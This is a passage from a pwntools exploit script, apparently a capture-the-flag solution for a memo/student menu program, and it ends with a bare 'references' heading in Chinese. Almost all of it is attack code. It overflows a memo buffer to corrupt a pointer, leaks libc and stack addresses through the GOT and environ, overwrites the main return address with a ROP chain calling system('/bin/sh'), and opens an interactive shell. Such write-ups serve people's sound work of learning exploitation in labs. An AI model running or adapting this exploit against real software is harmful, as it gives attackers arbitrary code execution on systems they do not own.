  16. io.sendlineafter("ID:", str(idx))
  17. io.sendlineafter("memo:", content)
  18. def show_name(idx):
  19. io.sendlineafter("Bye :)\n", '4')
  20. io.sendlineafter("ID:", str(idx))
  21. def show_memo(idx):
  22. io.sendlineafter("Bye :)\n", '5')
  23. io.sendlineafter("ID:", str(idx))
  24. def overflow():
  25. add() # idx 0
  26. add() # idx 1
  27. write_memo(0, 'A'*0x20 + '\x78')
  28. def leak():
  29. global system_addr
  30. global main_ret_addr
  31. write_name(0, p64(elf.got['puts']))
  32. show_name(1)
  33. puts_addr = (u64(io.recvline()[:6] + '\x00'*2))
  34. libc_base = puts_addr - libc.symbols['puts']
  35. system_addr = libc_base + libc.symbols['system']
  36. environ_addr = libc_base + libc.symbols['environ']
  37. write_name(0, p64(environ_addr))
  38. show_name(1)
  39. stack_addr = u64(io.recvline()[:6] + '\x00'*2)
  40. main_ret_addr = stack_addr - 0xf0
  41. log.info("libc base: 0x%x" % libc_base)
  42. log.info("system address: 0x%x" % system_addr)
  43. log.info("main return address: 0x%x" % main_ret_addr)
  44. def overwrite():
  45. write_name(0, p64(0x602028)) # student_num
  46. write_name(1, '/bin/sh\x00')
  47. write_name(0, p64(main_ret_addr))
  48. write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr)) # system('/bin/sh')
  49. def pwn():
  50. add() # call longjmp to back to main
  51. io.interactive()
  52. if __name__ == "__main__":
  53. overflow()
  54. leak()
  55. overwrite()
  56. pwn()

参考资料